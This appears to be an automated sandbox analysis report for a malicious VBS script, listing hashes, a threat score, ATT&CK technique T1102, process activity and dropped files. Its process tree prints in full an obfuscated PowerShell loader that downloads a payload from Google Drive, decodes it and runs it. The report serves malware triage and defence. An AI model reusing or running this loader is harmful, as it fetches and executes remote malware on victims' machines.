be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58

General

Target

be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs
Size

361KB
MD5

ae55f99323808b2185d1b56d56f6305b
SHA1

d043a31f2a1c72cccc49f932f4c41abec7bf003d
SHA256

be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58
SHA512

21c6b411b4c14c9d02e58494a47a21aadd61f8ca370f4d90a58c9d4049204e1501d4d94913ed61d69489bb5339e3f11a399b93b987a28046fd3fde74c72447ec
SSDEEP

6144:xwKLaVfs2VTA05zBWJKJqDv9WlmDg6bMiaNb3rczF9V4I5Btg/zRoFTC4vSUUkPe:u7InOiRxIl5x

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2324	WScript.exe
7	1580	powershell.exe
9	1580	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 1580	2324	WScript.exe	28
PID 2324 wrote to memory of 1580	2324	WScript.exe	28
PID 2324 wrote to memory of 1580	2324	WScript.exe	28
PID 1580 wrote to memory of 1980	1580	powershell.exe	30
PID 1580 wrote to memory of 1980	1580	powershell.exe	30
PID 1580 wrote to memory of 1980	1580	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Sansebedragets = 1;$Ghanesisk='Substrin';$Ghanesisk+='g';Function Gasterosteus($svinkerinde){$overbuild=$svinkerinde.Length-$Sansebedragets;For($Stereoradioen=7; $Stereoradioen -lt $overbuild; $Stereoradioen+=(8)){$Diffusionslinsers+=$svinkerinde.$Ghanesisk.Invoke($Stereoradioen, $Sansebedragets);}$Diffusionslinsers;}function Traeet($Wrizzled){& ($Thyges) ($Wrizzled);}$Smuldet=Gasterosteus 'Unr imbMstedmoroOplysnizdefinitiUnr.bbelIlan brlForbrusa Fremtt/Sundede5 Recurr.Kumenis0 vade t Fejlstr(RewedsuW PistiliAdularenl.ntiskdCleithroDyrkninw PhilolsLymphad Fores Nunpla.aTCurricu pongobl1sa,leld0Tsninge.Tugboat0Uns len; Plural Nyrens,WStt.masi yldresnHaemoth6Pupifor4Fyrstes;Lickert GaiterlxKommand6Selvher4 Pillet;grevers UnmumblrTrafikdvFollcus:Forplig1Israeli2Dif,ere1 Hankel.Undvrli0Udholde) Misc a F amencGSafeguaeInterb.cStorm tkCivilisoG.ntlem/ ackfli2.djutan0B.fingr1retinke0 Chorea0Tragica1.ftegni0Reexcav1Negroid GlaucolFbankledi reptilr EphemeeSalon.nfSlidse.oN.sleabxConnara/Fondsd,1Lygtema2L,kedri1Trstern.Svindsc0Afnakke ';$Indhfte253=Gasterosteus 'upontolU TassarsPansideeOxygenir Afrust-MedeospA.ksekutginexecueG vernmnAlveolat farina ';$Abnerval=Gasterosteus 'Layouteh .mbudst BaakertOccipitpBenedics inageg:Ureter,/Fosse,t/Morrissd Vickisr NonimpiB ldricvUnpoigneKo pera.g,eskabgRosentrogroundloArchspigScollo lSidega,emor,enp.EarthlicIntroduo SpadesmPenetra/Bortlbnu FlyveccIstemek?R,petiteShooingxNon.estpOv.rskuome,termrJugerentpretr.r=FluoryldHendersoOologiewMinisc nMedb,jllUhensigoR tgenbaRasterbd Spille&CuculariAbeyancdS evene=Ugrian 1BlomdecKVarmefrcRivetndZNedgrav9PentatrX DomorgGRabbiniBE,yptolrMishmibBMonoga 4stil.noR ,itadecBituminn Cor macPreexpeXVandcykC aintisCYalelaabIndbrndpCriticibdigitalm FrimndyBassistbdelomraLDerindaKOppriorv A,raabb MartinRFlingenyEma.cidBTo,itruwprenebuBTweetph ';$grcisering=Gasterosteus 'Milli,n>Hurl.le ';$Thyges=Gasterosteus 'IndervgiUrte eee CuyastxKnivafb ';$Brummekorenes = Gasterosteus 'Helsstee RavishcUnravishCalapp oHazanpy Inkwood%DornockaEatsuncpAlanintpRefor.adBoxbushaIllimittMiddelbaGaldest% R,barb\ AntistEChemisecOrganistdybels.r UlderaoantescrdPennigeaGejledecOpdatert non.etyKen sgelErklaeri Ko ogesredaktimInte.ra.FaneblaMChoripeiLedenesc ltrace Helfred& F.jlst&Supplem SamplereP.ritidcSupponwhDkningsoRepursu Fusib.y$ Begrib ';Traeet (Gasterosteus 'Harpesk$FlaglesgskovfollAfgrsnioLeiotrib SuperiaRallyislAn idep:ReinaldlArmekoryReprovemrr.angep Coelhoh Hyp,caoCoalbi,sForsknitRaph,epaCelle ysVa,ideri RivetesNdplans=Modtrks(KommerccUdt knim .orceldTilvkst Termofl/ bro,erchomeoch Bromids$.eregniBgnideb.rC oonesuKapitalmForestamVirksomebretw.lkSeptikto Thre drObservaeSmilacenUnconsieTppebans Afgift)Add.tam ');Traeet (Gasterosteus 'Gr,ndpr$ StenesgUngrayel MetodeopumaernbSte.epaaBlitzlal ,ncage:TabtypeaSpo.tenaChoristbTrontaleagelaiunBestridtMagnetivSvagfrhaEfterslnOtherdodS anonas I.dtrnbunmani y Faaers= Unblig$KommateA Skrdd bKontaktn LigesteSimioidrOsierlivOmbygniaBlokkryl Oldtid. DramamsBerigtip FremmelSubstitiPasseret Unsuff(Kr,emme$SlutspugOs illar UnderscWhisperiSlattersCe.terpendskrigrSen imei Brady n.usannegCamperi)Sadomas ');$Abnerval=$aabentvandsby[0];Traeet (Gasterosteus ' Postgi$Tingsvigretspril Outg,ooBattuecbfemalita HjaltelOverfor: GorgonOB dgetdu IsogentGstel.elRegnesteServiceaVedlgger.taxononcradl,r= efljnNbimpe.eeVikin,ewAfgifts-CannaceO bisquebIdeograjWienerne.orexgrcHud,esatSv.ngla .espectSFaktureyeftervesTwelftht.nalopoeHerniasmBarbe s. Sulk nN Slu nieBromidetYantra,.NeodymiW CompareSchuftebDodge sC fl,raalKarvgsfiHorsehaeC.estfinKdereaktGrovfod ');Traeet (Gasterosteus 'Tubife.$ SnableOBetonhouKnoglemtHaughtilKattepoeTro,seraUkollegrSankthanstyrtf .SemipenHSammenfeskeptika Incarcd Straale Rut,nerUnbothesAzy obr[Glasuld$tinglysIBogkrybnKronik dhamirosh,udiblefPraktictAyesbruetolvton2Stormag5Acrylic3 Divisi]arbejds=Afgifts$EnlargeSEfflresmKrmmereuDiskrimlPartikudYou.care Pant atForrang ');$Freen=Gasterosteus 'Nbcbor,OGenlivmuMult chtBirummelEnkeltpehypnoseaBordherrLeptothnFestmid.Syn.tigD,urifexoAfgrsniwmod.stenAfgr lslKommandoOutbleaaServiced Metho FRe ikteiIllusibl DetaileSliphal(Citrons$Pro ogrAMi.setsbU.dtogtnShovel.eInflexirFold oav MaltesaSp,rtstlfar eta, aramba$Man icaPOpserveaFlere.alHandskelDedesnoeSammenhdKom.andeDissona)Cibaria ';$Freen=$lymphostasis[1]+$Freen;$Pallede=$lymphostasis[0];Traeet (Gasterosteus ' uckibu$ SumenhgJordvrdlVid.obroAfkryd,b LuftvraIstandslOct.hed: CodeveT orlagoBuckerotDete,miaAm.nodilTarerins Te.msty BarrabsNailysttStraahaeSh malsmStrafraeOdourlerSepticinSnavsete Pundit= Hoflev(MedaljeT AfkorteSu.erads NaturitMargar.-Withi vP ummepa KamceetLacqueyhPostall Mondner$WhitepoP U.schianucleuslTientsil OutwiseMegametdDehydreeUa.lade)Chymeud ');while (!$Totalsystemerne) {Traeet (Gasterosteus 'slagord$gnis,spgTaljerilTracfn,oLuciliab,olygona addleslBlaatry:Doks.niU BornhonPrci,errDel,gereAliptteaEmersedsBuzzgloo DepresnGumf.eleIndfreldZonule 1D.centr4Apodema6Roleofo=Affdtem$TokronetUncupperCo.lbaguBdetakseBiogeog ') ;Traeet $Freen;Traeet (Gasterosteus 'Fac nglSAskepottSidelinaorkanerrR,refactLumbr c- GammelS Boutell SinapieMyst,queDogg.elpBorgme Afte wo4Church ');Traeet (Gasterosteus 'Breeche$ Aeromagtap.ehalSkeltonoTuxesflbWirelesaAfficerlNoncred:Ch.roptT HepatioMindelutDelikataB,idleslByna,nes efineyla.hemas ferritt Offsetevilia.smForkueleChlorinr,xsiccanSadomaseCor gen=Unsplit(GrammatTGavlhuseLachrymsDowntowtCounter-NaverboPM.ljbesaVelsesltProroguh Tokom Tidsvrd$ Aspir,PStamhusaAmbassalOplevedlVievan,e AmagerdIncisioeSlumres)missive ') ;Traeet (Gasterosteus ' Overes$udaan,igPantomel Memb,aoTandclabFehaareaR,nownelHaandev:stdtropAMegalerpNonesuceBalladrrC,emmint Perisp2 freu i1Palaeo,1Sa mens=Sexforb$Bissekrg Undem l Cymousoseem.rsbResteriaSamlevelOlefian: ArlasfEUnremitv,aggersaRolle.alProtot dPhelonisCharact+Nonprol+Masses,%Himatio$St.nhugaNo,connaK,nmiutbSnitta.ekoenindn,grestit TorsdavPrisindaValdemanRecivildPrsenspsVokskabbPolygamy Sygeb,..aiadalcTtysvrtosemiferuUde aernFdrelantTourtmi ') ;$Abnerval=$aabentvandsby[$Apert211];}Traeet (Gasterosteus 'Neopla,$ Magn.tgmyr,ngelCitizenoSpr grebfodermia Tulsiel Stedmo:.ammenhEmandor,nTryforfcSmuglero Sp ashm ,arfleiEpitafieMisquotn Una,cedRoseudtaraamatesImpecu. Flakker=Besudle FjerdepGColona.e UratomtNedprio-e,silerC ,ortrioVandtryn Brynj.tOverbakeTwentymnGes,urat Torl.i Sinecur$RvetapaPumyndigaKunosgrlInfrahyl .retrce Flu.sydAppretee Compar ');Traeet (Gasterosteus 'Kompagn$AconuregFreskomlMistendoMyzo,tobdanburya goni.slLaps.on:KelingyPPreorgaobrainstdInd lytaHakkebrl BocheriShinilyc Doohin malkema= Secern Defen,a[DhoorasSDisembaykvidistsBypla ltVitrioleDecubitmNon.las.Dineu,rCgennemkoTrallern oreimpvGafledeeStyrep.rteltslatUnrecko] Infide: Belysn:AltsaxoFStikflarKise.hooUnindusmH,matomBWhirrooa BnkerasUnsymmee,ncredi6Immorti4Pulvil,SFjendtltOutdater Bone riPelsdyrnPree ptgMilieuo( Stetho$advarseETidsprinRappen.cformedeoHyllep.mStoma hiSuperineFamilien.rupprpd antrusaWinds.rsSad.elt)Pulpitl ');Traeet (Gasterosteus 'Varmefy$IndlandgVirialslte minooTar iesb Underga A,onnelHumo.ri: KanalvSChilenst Skansei StargrkGeda keo Okays rAbnormidJollit e,drenaltVivanstsInforma Uncle,r=Dentipa Compl.[UnpreteS vaabenyTennisfsKnivsmetNap leoe andhanmMiljomr.Beli.geTInquilieTr.mperxIndigentlawsone. F.lderELex,caunBerigtic MonadioBiscuitdHarmoneiPratiqunHemmelig Over r]Partrid:A poggi:UenigerAUgideliSOpd.terCSrverskIChe.kinIEfter,d. SalariGtilsagde TangletDekuperSMedik.mt Needsmr LukreriAllemannTr.nsligInd sia(Mattere$FikseacPBeskudtoAbstrakdSphaeriaFderal.lGett bli Surficckampvog)Dialakt ');Traeet (Gasterosteus 'anticig$B.mareagHyleriel Fr.trdoBhut.vibfortjenaSlievovlRidotto:AffdejaOUnderslvLineniseShuntv.rU midigmDehor so Teks,prStrobosaAdin tylsekun ai TwistesCuckoldtKern.daiRund,ngcSpndesk=Krabb.n$SmmestiSVekselvtTheophiioverspakMirsasbohenholdrC,mpedrdse ianieforlb ttCentra.sUdlodre.Ondskabsgespensu Ri,efobBinomiasPharyngtP,oevekrMiljak,iHengavnnVlgernegDriftsb(Geratyt3Cl,bfis2Kardina8P,intke2 Para f1 Enspnd2U.licen,,jforrd3Slagteb0Omni,oq1Omsta,n4Uninocu7Antipy )Gelatin ');Traeet $Overmoralistic;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ectrodactylism.Mic && echo $"
    3⤵
    PID:1980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

Filesize
3KB

MD5
5c5b3041e33edce4bbc7ad6ab237bfe2

SHA1
06b74056e956247d5c74249460eb4a88c6fd8e4e

SHA256
fb5248eecae8b2cb6b68a2f13673bbae7d7c934ce5128ed90f2c161de224577b

SHA512
f5feca22a5b60670e006212c43764c4b0bcf0de65185273429cfbe9a22b6ef9230f2e1486589830b9223ce27f20f014a75593869b4f04090567e8f6558ad6ce5

Download Submit
C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

Filesize
3KB

MD5
aa57e548daf7d62309275959d55fbf13

SHA1
cf2c1e249f2ed695ba19918b8a5e9c45e8034547

SHA256
739181cd16c4b16b7466a600de4aa788c24504ab25bb5739f993cd92cc51f27e

SHA512
96a01e0afdc361d58ec42cea816a8b16292b7752852b8ed659172b6832caac47466328647fc81421e51d5340cde522ae61c229b76785a975362899e6293953bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

Filesize
4KB

MD5
6d41190d76110d07472271b6b925e741

SHA1
5c95ea182c183d070eadeb94233840de04938c17

SHA256
cc8a29cca663700c46da25572b967e95e5be669465c76063cab621c6ad1d1f67

SHA512
f1a6b7783cd3cb8cc90c6b3d3b3a1237f297aa940db9615d00647dff5efa799997c4dd3294d07ae089b13ec75eea3dcae0240fd785d5bc96208954bd794e8cec

Download Submit
C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

Filesize
1KB

MD5
37683fafb7f82b40a66c916a0a74c134

SHA1
e13453660b7128c237f4d263d538f448bc8e5b43

SHA256
0dae6d40c9229be345dcc87f82d612cfeba0b60dc9af3785c76ca8b6edafe2f7

SHA512
48f9b4a93cc2e8b05f5e53b2b8fcf3920991df38e34e2964037941d95561de539ec36e0205f889d5df5a84afa51dbe6a88da12caf4156b3c16da5ae8d1f2c224

Download Submit
memory/1580-326-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/1580-325-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/1580-324-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/1580-327-0x0000000001F50000-0x0000000001FD0000-memory.dmp

Filesize
512KB

Download
memory/1580-328-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/1580-329-0x0000000001F50000-0x0000000001FD0000-memory.dmp

Filesize
512KB

Download
memory/1580-330-0x0000000001F50000-0x0000000001FD0000-memory.dmp

Filesize
512KB

Download
memory/1580-333-0x0000000001F50000-0x0000000001FD0000-memory.dmp

Filesize
512KB

Download
memory/1580-334-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing